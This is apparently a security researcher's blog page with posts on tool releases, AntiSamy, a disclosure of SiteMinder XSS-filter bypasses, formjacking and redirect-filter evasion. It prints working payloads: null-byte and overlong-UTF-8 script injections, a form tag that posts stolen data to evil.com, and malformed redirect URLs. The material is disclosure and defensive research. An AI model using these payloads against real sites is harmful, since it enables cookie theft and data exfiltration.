omg.wtf.bbq.

because arshan’s too cheap to license OneNote

Browsing Posts in webappsec

I’m flying back from Blackhat today where I presented and officially released JavaSnoop, a tool that makes security testing thick Java clients really, really easy. We use some magically awesome instrumentation and bytecode engineering. Despite the fact that those buzzwords were in play, Blackhat thought they’d hedge their bet on me by putting the talk in the room furthest away from everything. But don’t worry, we filled it up anyway. And I’m sure that wasn’t because I launched a Twitter misinformation campaign that suggested Dino Dai Zovi would be there dropping 0day – I’m sure it was just because of the suggestive title.

There was an A/V issue that meant I couldn’t see the demo but the audience could, so they had to guide me through it. Other people may look at that as an utter disaster, but from my perspective, I gave the first audience participation demo in Blackhat history (don’t research that).

Here are the slides, the tool itself, and the project home page – complete with videos and screenshots to help you get started. If you do anything cool with JavaSnoop, let me know and I’ll make a video of it, give you credit and put it on the project page to help everyone get to know the tool.

If you’re interested in the magic behind JavaSnoop, check out our SVN. We welcome feedback, patches, success stories, or belittlement. It’s GPLv3, but we’re happy to re-license a copy to you if you have a half of a good reason.

Happy hacking!

You may be thinking, “what the hell happened to 1.4?”  A few things. First, I had a baby. That was really hard.

Then, we were trying to manage all the logistics of moving to a new project structure during our 1.4 release cycle and during that time we added some really important stuff. So, AntiSamy 1.4.1 is out today! New features from 1.4 and 1.4.1:

  • Full Maven support. We’re hosted in the Sonatype OSS repository! Here’s an example dependency to put into your pom for including AntiSamy in your project.
  • Added an experimental SAX version of AntiSamy. This is so huge. It’s an optional alternative method of cleaning the user’s input. It’s way faster (50%) and consumes far less memory. It’s still considered experimental even though all our test cases pass against it because it’s not time or community tested yet. Anybody looking to test can browse over to the test page to provide feedback. It’s practically no different to invoke: instead of AntiSamy.scan(String,*), it’s AntiSamy.scan(String,*,AntiSamy.SAX). Default is still to use DOM-based scanning, our old tried-and-true method. One day, hopefully we’ll default to SAX.
  • Proper support for name/value attributes in <param> tags (see the validateParamAsEmbed directive and Erik’s explanation of the problem it solves)
  • Added noFollowAnchors directive which programmatically adds rel='nofollow' to all links parsed by AntiSamy
  • Added safe support for comments (we’re trying to allow normal comments and prevent IE’s conditional comments)

There were also a number of bug fixes, code improvements and cleanups. This release was not possible without hard work by the following folks:

  • Jonathan Irving, who is a good engineer, project manager, and is way helpful and patient with my well-established personality shortcomings.
  • Erik Innocent, a real-life AntiSamy pioneer who is making sure its real-world capability stays in line with its promise.
  • Fernando Padilla, our resident Maven guru (and good guy).
  • Finally, Lars Trieloff, who submitted a SAX patch that became the template for our SAX scanning option (congrats on the newborn, too!).

If you’re looking for work for your summer intern, we could really use better documentation for AntiSamy, inside and outside of the code. Thanks to everyone involved for making this release our best ever. AntiSamy is now faster, more easily integrated into a project, and hopefully still as safe as ever.

See you after the World Cup!

Billy Hoffman and Matt Wood from HP presented on a new browser darknet at Blackhat, which of course the press went totally batshit for (the press love Billy et. al. as much as they love anyone – or HP’s marketing department is insanely good). I love the idea of totally anonymous P2P information sharing, but it’s just not possible in the browser if we can’t use trusted plugins. In a truly safe P2P scheme the supernodes wouldn’t have to be trusted, but this is not the case in Veiled, as they were in fact willing to point out (and gloss over just as quickly :) . The simple fact is that the supernodes deliver client-side code to the nodes – code that, when not compromised, contains JavaScript that will allow the user to perform all the functions necessary for a darknet, but when compromised, can be used to subvert all those same functions. As long as you’re getting your client side code from supernodes, it just can’t be done.

With all that aside, it’s still useful research (to me). The unknown compromise of a supernode is very unlikely, especially considering the overall incompetence on the part of those who would try to shut down a darknet. And to honor the spirit of the idea, I wanted to talk about some solutions to a few of the “challenges” they noted when architecting the design of their darknet:

Problem: When a user is on the darknet they store file slices in browser local storage, which is restricted by domain. Consider that a darknet client, Alice, is connected to supernode foo.com. If the supernode is to go down, the user must go join a different supernode. The problem is: what happens to the file slices? They’re in local storage – which means when the user transfers themselves to the next supernode, bar.com, the JavaScript won’t have access to the file slices.

Solution #1: They considered this a lost cause, but I think there are a couple of things you could do to retain the file slices without exposing the information to the new supernode, which clients shouldn’t have to trust. First, the initial request to go to the next supernode could be a POST request of the following format:

POST http://nextsupernode/reflect_files_back_to_me#hashoffiles

file1data=…&file2data=…&file3data…

The server could then reflect the response for the clients to restore, complete with a hash to check (just for CRC). The second approach is slightly more complicated but allows for a general solution to the problem of “lost information” (like chat logs, keypairs, etc.) because of the origin-hopping.

Solution #2: Mallory, a user who isn’t on the darknet, tries to connect to darknet.com. Because her IP isn’t whitelisted, the DNS server for darknet.com sends back wrong IP information (like the IP for goatse.cx maybe?) or refuses to resolve. Mallory therefore can’t connect to the darknet. Alice, a legitimate darknet user, connects to darknet.com. Because the darknet knows her IP address, the DNS server returns a legitimate response and allows her the chance to authenticate to the darknet, then redirects her to an alias – www1.darknet.com.

The first thing the client-side code from the darknet gives to Alice does is this:

> document.domain = 'darknet.com';

Alice then grabs some file slices in order to help everyone share the risk of getting DMCAwned. Now imagine supernode ‘www1′ gets burned. She gets kicked off the darknet and has to find a new supernode. Once she authenticates to the next supernode, she is redirected to a sequentially enumerated sub-domain, ‘www2′. Because the next supernode is still a subdomain of the previous darknet domain, she can again execute the same code:

> document.domain = 'darknet.com'

Now she’ll have the same access to those files and the information is not lost – no need to go grab the new file slices because the old ones are still here in local storage!

Side notes
There is a pretty minor weakness in this approach – if a bad guy can hijack a supernode subdomain and trick her into visiting it (while her browser is still pinning the legitimate supernode IP address, otherwise any request to it would be redirected to a new, safe supernode), that bad guy can grab the local file slices with malicious code.

Also, using DNS as a control mechanism can probably also cause some darknet-fail due to its centralization, but you can always fall back to a less restrictive model when DNS is unavailable due to compromise. On top of that you can rotate authoritative nameservers much faster than in years past.

Wrapup

I’m sure you were totally rivitted by that – in fact I’ll try to do more posts on improving the virtual defenses of a virtual darknet. There are other ways of improving it and plenty more ways to attack it, but the rest are even more boring than this. Hope you enjoyed Blackhat!

Last year Jeff Williams and I discovered 2 critical flaws in SiteMinder. Rather than just sitting on the flaws or leaving the client to report them, we decided to experiment with responsible disclosure with the company who manages SiteMinder, Computer Associates (CA). The process was painfully slow and from our perspective a little disrespectful. For months they kept asking for details about the product version and configuration – details that we told them we didn’t know and couldn’t provide without being a major annoyance to our customers. We repeated ourselves and kept pressing for them to fix it.

We repeatedly asked for status, considering the fixes should be relatively easy and we got very little information until now. The timelines in the responsible disclosure guidelines by Wysopal & Christey were obliterated by CA. We just got an email after months saying they just tested their latest build (something we suggested they do on day one) and that the attacks appear not to work anymore.

This response, after thinking a bit, seems like an insult to my intelligence. The attacks haven’t not worked on any SiteMinder-protected application we’ve tested since last year. All of a sudden they decide it’s important and test their latest build and it no longer works? Apply some critical thinking skills and ask yourself what is more likely:

  • They randomly fixed both of these vulnerabilities before we reported it. Keep in mind the following facts:
    • We are seeing them work in the wild 24/7
    • There are no advisories regarding these vulnerabilities on their advisory blog
    • It took 6 months for them to “get around” to testing our 2 newly reported critical vulnerabilities
    • or…
  • They took our information, spent the last 6 months fixing the vulnerabilities quietly, and now have plausible deniability

So much for responsible disclosure.

The motivation for researchers to find flaws is credit. Credit is the currency we deal in. As gaz pointed out on Twitter, “bug hunting is fun”, but at the same time bug hunters are also providing an extremely valuable service and should be compensated in some way for the bugs they find. Credit to the researchers in a patch or advisory is the only currency that vendors have been willing to pay, especially for layer 7 bugs. You think ZDI’s paying me for my XSS?

So, since the bugs have been “fixed” we can now talk about them, right?

What is SiteMinder?
SiteMinder, for the uninitiated, is a  security gateway that sits in front of 80-90% of corporate America’s J2EE applications. It’s used to provide authentication, URL authorization and XSS protection on GET requests.

Although it’s used to protect J2EE applications, SiteMinder itself is written in an unmanaged language.

Flaw #1: Complete XSS-defense Bypass Through Null-Byte Injection
Normally, passing almost any special characters in a GET request to SiteMinder will cause an error to occur. It’s practically impossible to XSS a SiteMinder application through a GET because of this. The user data must land inside a JavaScript context, unquoted attribute, or some other unusual scenario for exploitation to be possible. Passing data in via a POST is the low-tech way to do this, but it’s not ideal for reflected XSS.

Jeff was testing this mechanism and he tried prepending his payload with %00. SiteMinder didn’t see the attack because it recognized %00 as the end-of-string character. Here’s some text from our disclosure to them:

The following URL, which attempts to exploit a non-existent XSS vulnerability in the a page will be caught by Siteminder’s XSS protection:

http://victim/app/function?foo=bar<script>alert(document.cookie)</script>

However, prepending the parameter value with a null byte directly will cause the parameter value to go unnoticed by the protection mechanism, as can be seen in the following URL:

http://victim/app/function?foo=bar%00<script>alert(document.cookie)</script>

This indicates that the code for parsing parameters is done in an unmanaged language like C or C++ and interprets the null-byte as the end of string character. Unfortunately, Java considers the null byte just another part of the string, so what comes after it is used in the vulnerable page and the reflected XSS will be fired.

Flaw #2: Complete XSS-defense Bypass Through Canonically Decomposable (aka “overlong”) Unicode
This one we anticipated would be harder to fix since it would require some architectural re-thinking. By passing an “overlong” version of a SiteMinder-blacklisted character (like %e0%80%bc for ‘<’) you could get the attack to pass SiteMinder’s check, which obviously worked at the byte or ASCII-character level. However, when the J2EE application server got a hold of the multi-byte character sequence it canonicalized the data into Unicode (Java uses UTF-16 under the hood). Here is some text from our disclosure to them:

There are a multitude of issues when interpreting UTF-8 in a gateway security mechanism. Invalid UTF-8 of all forms, including overlong UTF-8, using best-fit mappings and performing normalization can all cause problems. The following URL will be caught by SiteMinder because it contains a ‘<’.

http://victim/app/function?foo=bar<

However, passing the following URL will not trip the protection mechanism:

http://victim/app/function?foo=bar%e0%80%bc

The seemingly random assortment of bytes (0xe080bc) is reduced to the ‘<’ character when its consumed into a Java String object because the JavaVM understands and reduces this inappropriately long representation of a UTF-8 character. Strictly looking for the 0x3C byte to detect ‘<’ characters will always fail because of this, so the SiteMinder protection needs to be Unicode aware. These issues are presented well in the Unicode technical report #36: http://unicode.org/reports/tr36/, specifically in section 3.

Summary
That’s our story. At the end of the day, we didn’t get credit from CA, but our bugs supposedly got fixed, so we’ll call it a push.

P.S. Anyone interested in finding a more vulnerabilities in SiteMinder should try to use these techniques in different areas. For instance, sending in a canonically decomposable version of an entire URL may prevent any SiteMinder rules from matching, and in those cases where the default resource setting is “UNPROTECTED”, this may amount to a complete authentication and/or authorization bypass. The null byte may be also used in other avenues, but you won’t be hearing about any more flaws I find. =)

A colleague of mine, Jerry Hoff, was testing AntiSamy a while ago and he found an interesting technique he quite hilariously and tongue-in-cheekly called “formjacking.” Once we dissected the payload we found a very strange cross-browser behavior. I wanted to talk about it but never had a chance until now.

It seems that FF3 and IE7 respond uniformly and strangely to self-contained XHTML in many cases. We had encountered this behavior before in responding to functional “bugs” in AntiSamy (though I am not surprisingly more inclined to blame them on the browser). When the browser sees the following text, the words “anna faris deserves better” are shown in italics:

<i /> anna faris deserves better

Everything that came after the self-contained italic tag was italicized. The same behavior was found for the bold and underline tags. In AntiSamy we special-cased those and other basic formatting tags to be removed if they were self-contained, and we thought we were done.

Fast forward to Jerry’s payload. Jerry was passing in the following string:

<form action="http://evil.com/stealcontent">

Jerry wanted to pass in an extraneous opening form tag that would pre-empt the other <form> tag in order to steal the profile data when the user hit the submit button. He was counting on something like this appearing after the application reflected his input:

<!-- begin evil user-supplied data -->
<form action="http://evil.com/stealProfileInfo">
<!-- end evil user-supplied data -->
...
<form action="/good/updateProfile">
<textarea name='profile'></textarea>
</form>

He was hoping that the browser would ignore the original <form> tag which has been nested by his attack string. This would work across browsers as you can demonstrate for yourself on this test page. This type of attack never worried me with AntiSamy because I knew that AntiSamy balances input. Because Jerry didn’t have properly formed XHTML in his input (he only had an opening tag and no closing tag), AntiSamy cleaned it up for him and his resulting profile was this value:

<form action="http://evil.com/stealProfileInfo"/>

Notice that it is self-contained. Little did I know that I should be worried about this. Much how the self-contained tags <b/> and <i/> embolden or italicize the rest of the page, this self-contained <form/> tag somehow forced the browser to ignore the following <form> tag, and thus stole all the inputs on the rest of the page. So when the user hits the submit button, all the information is sent to evil.com!

I don’t think I’m alone in thinking this is very strange behavior. Because of the nature of XML, you would think that a self-contained <form/> tag should have absolutely zero impact on anything else on the page, including any other forms. This is not the case, obviously. You can find some simple test pages for mixing self-contained with non-self-contained <form> tags here, but the net result is this – if the attacker can provide a <form> tag before your <form> tag, they can steal the form data.

There’s probably more stuff you can do with this browser behavior. <script/>, anyone?

Last week I needed to beat a commercial product that was preventing an unchecked redirect vulnerability from being exploited. The input was being reflected into the location header, and anything that “looked like” a URL was getting blocked. After some laborious man-fuzzing (basically re-verifying the research I found existed after the fact in the under-utilized Browser Security Handbook) I discovered that the following is a valid URL when referenced by tags and in location headers in IE:

http:\\google.com

What about Firefox? Aside from the well known vector that doesn’t require an http at all (//google.com), FF3 also appears to accept three leading forward slashes in a URL found in a tag/redirect:

http:///google.com

There are lots of RFCs and official-looking documents that seem to contradictingly dictate what a legal URI looks like, so I’m quite inclined not to care who is right or wrong. For the record, lots of other random things worked when I was testing in the address bar and in a local file (like http:foo.com) so let me save you some time and tell you that’s a bad place to test. Most of the things you find work there won’t work anywhere else.

So, in order to make their page really reflect all the necessary information, I think the Google Security team should split out the scheme/slash row in the URL table to indicate whether or not a URL scheme/slash combination “works” when encountered in in a 302 location header, src attribute, as a link, or in the address bar. Hopefully that will be a well-maintained document but I know it is probably a huge pain in the ass to keep such a cutting-edge resource continually up to date.

Happy nowruz!

What could be better than Google Code Search for finding vulnerabilities? Look at MAMA. I bet you never heard of it – I hadn’t, until my buddy .mario pointed it out to me. It’s (as of today) an internal tool that Opera uses to crawl the web and index the structure of the world’s web pages, which is very different from Google’s engine which is strictly interested in text content.

Brian Wilson of the Opera team has said on their forums that general public release is definitely the plan. What could you do with MAMA? Just off the top of my head, anything an appscanner could find without stateful context. Simple queries could produce a lot of noise, but could be optimized greatly with correlating conditions and keywords. Some quick thoughts, and who knows, maybe Johnny Long can do a few of these things already:

  • DOM-based XSS vulnerabilities
  • CSRF (forms without a token >20 bytes of seemingly random stuff)
  • CAPTCHA-less comment forms (hello targeted, optimized spam!)
  • hidden administration login pages (already kind of doable with Google)
  • clickjackable sites (absence of frame breaking code)
  • interesting HTML comments (HACK, FIXME, TODO are usually good ones)
  • insecurely implemented postMessage() senders or listeners
  • insecure password policies
  • suspiciously named hidden fields
  • meta tags with incorrectly spelled charsets (for followup exploitation with content sniffing and utf-7)

This would also be useful to security researchers who are asking browsers to kill off crazy API abuse. For example, my first question for MAMA is: does any legitimate site out there use <img src=”javascript:…>? This tool could provide assurance to browsers that any API cleanups don’t cause any back breakage significant.

I can’t wait to hear more about this project, which has not, as far as I can tell, been released to the public. In the meantime check out Brian’s list of articles that hint at the power this thing could give the unscrupulous. They should make you pass a breathalyzer before using that thing.

Unchecked redirect vulnerabilities are annoying to fix for our customers. Sometimes the developers need to link to a constantly changing selection of partners and they always have to support different redirect URLs for testing, integration, and production. Sometimes these redirect mechanisms span different applications even though they live on the same domain, too. Given the unstable nature of the “targets” and the cross-application centralization of these redirect mechanisms, we need some smarter alternatives.

What we’ve been recommending customers do to accommodate this target flux allows them to maintain a dynamic target without putting them at risk to phishing attacks. There are a number of creative solutions, and if you’ve got any more please comment:

  1. Change the functionality to use POST instead of GET, and require a POST before redirecting. The attacker can’t force your browser to issue a POST without bouncing you off an intermediary, evil site. And if they do that, they could just redirect you to the phishing page directly anyway.
  2. Set the target of the redirect in a cookie and let the “bounce” functionality read it from there. The attacker can’t force your browser to send arbitrary cookies with cross-site requests, so you’re safe with this technique.
  3. Symmetrically encrypt the contents of the redirect target. You can still have a constantly-in-flux list of redirect targets and still maintain assurance that attackers can’t abuse your functionality for phishing.
  4. Set the target of the redirect in a session variable and let the “bounce” functionality read it from there. The attacker can’t  populate a victim’s session variables without abusing another vulnerability. For some redirect scenarios this may simply shift the dynamic work somewhere else but at least at that point you have architectural enforcement of your security mechanism.

Hope that helps!

Jeremiah Grossman, who not many people know is actually the devil, smoked a bunch of crack and made the mistake of associating himself with me again with this virulently circulating “7 facts”. Before I got a chance to see his post, he sent me an e-mail saying he was sorry about the “7 facts” thing. I got all excited because I thought it had something to do with Miley “fuckmeboots” Cyrus who has a song by the same name. Now I am all pissed off because it has nothing to do with my dream girl (just playing, Anna Faris – what we have is srsly speshl).

The Rules:

  • 1. Link to your original tagger(s) and list these rules in your post.
  • 2. Share seven facts about yourself in the post.
  • 3. Tag seven people at the end of your post by leaving their names and the links to their blogs.
  • 4. Let them know they’ve been tagged.

0. I don’t think anyone cares about these facts, but I enjoyed writing them while stuck in a hotel outside Philly. By the way, I love It’s Always Sunny in Philadelphia. Great show. That technically will make this page contain 8 facts, but I figure I’m also 1/7 more important or better looking than everyone else, so that means I deserve another fact.

1. I grew up on something more than alert(document.cookie). I cut my teeth on auditing and exploiting C. My favorite hacking books are Hacking: The Art of Exploitation by Jon Erickson and The Shellcoder’s Handbook by Aitel, Kozoil, Litchfield, et. al. Despite some lies you might hear from samy, the structs in my DNS spoofers are not misaligned and I can smash some stacks. However, my skills in the world of how-the-hell-can-I-write32 and the like have atrophied during my past 3 years in Funhouse of Mirrors we call the webappsec world.

2.  My favorite hobbies are video games, soccer and table tennis. I’ve even gotten some recognition and money for the first 2! Watch your back, Chris Shiflett.

3. I am a social justice junkie and desperately want everyone to vote 3rd party in the next presidential election. Stay within the realm of sanity with choices like Ralph Nader, Cynthia McKinney and Ron Paul. The media and controlling parties simply aren’t capable or willing to affect change, although we all have high hopes for Obama. If you don’t do something to help change your country, even if it’s just helping spread awareness about how fundamentally broken our system is, you might as well buy a shotgun, hole up in your house, and wait for the zombies to come. And pray that when they do, they’re the slow-moving zombies that can only infect you with a bite. If they’re fast and can infect you with scratches, you my friend, can consider yourself as eaten as a delicious risotto in front of Reuben Studdard.

4. I hang out with mostly non-technical people, which is probably why I haven’t killed myself yet. Computers r dum.

5. I can’t fall asleep without reading. I usually stick with Stephen King (the Dark Tower series should be a legal requirement for young adults), Frank Herbert (Dune, duh), George R.R. Martin, and all kinds of non-fiction including modern science types (On Intelligence, Freakonomics), but mostly historical and political (All the Shah’s Men, The Story of World War II, Franklin and Winston, A People’s History of the United States, The Essential Chomsky).

6. I’m an avid fan of both types of football, and cheer on my hometown Baltimore Ravens and my never-been-there-but-home-away-from-home Liverpool Reds.

7.  I was almost an artificial intelligence academia dork. My master’s thesis got published and I had some cool opportunities, but security was more interesting. We’re a long way from the finish line in the world of AI, and I didn’t want to be a forgotten ant in the pile of failed researchers.

Ok, here are the people I’m picking out.

Ivan Ristic. A good friend; unique, and an expert.

Mario Heiderich. He’s a great mind, passionate, but most importantly because he will HATE me for it.

Billy Hoffman. Because he’s my hero.

Dre/Marcin: Marcin is one of my padawan and Dre is hilariously inflammatory. This counts as 2.

Rafal Los:  I’m calling on a preacher’s kid, I must be running out of people.

Coates: A co-worker who pwns.

What other way is there of finding 216 million flaws in sub-second scanning time? Google, of course. How about 160,000 strictly within .gov? These numbers are absurd, especially since I’m only searching for one type of URL rewriting for J2EE. This type of flaw usually rates to a medium – the result of the combination of high impact and low likelihood.

URL rewriting is really only a problem because people aren’t especially good at rotating the user’s session ID post-authentication, so if you can trick a user into clicking on a link that has the session ID in it, they will be using that session ID from that point forward. All you have to do is wait 5 minutes, then use the session ID you sent them and hijack their identity and, most likely, their Twitter account because apparently they take security lessons from Oracle, which, for the uninitiated, is like taking gun safety lessons from Plaxico Burress (my 2nd round pick in fantasy football, I am salty).

URL re-writing is bad for one-click session fixation, SEO (page 8), usability – it’s just a bad, bad idea. Why don’t you use some clever JavaScript for tracking cookieless user state instead?

Of course none of these Google hacking techniques are new, but neither is David Spade and he’s banging it out with all kinds of hotties (note to Nicollette Sheridan: you can invade my Gaza strip anytime – also do you have a son named Eric?). It’s just that the numbers for this particular area are so crazy I had to write something up. And when I brought this up to j-dubs he of course tried to outdo me (typical) by trying to conjure up huge numbers in Google’s Code Search looking for the most blatant reflected XSS and the most obviously exploitable SQL injection vulnerabilities. He couldn’t come close, but notes correctly that many of those could be in widely deployed software.

Can anyone beat that number? With a similar-or-higher-severity vulnerability?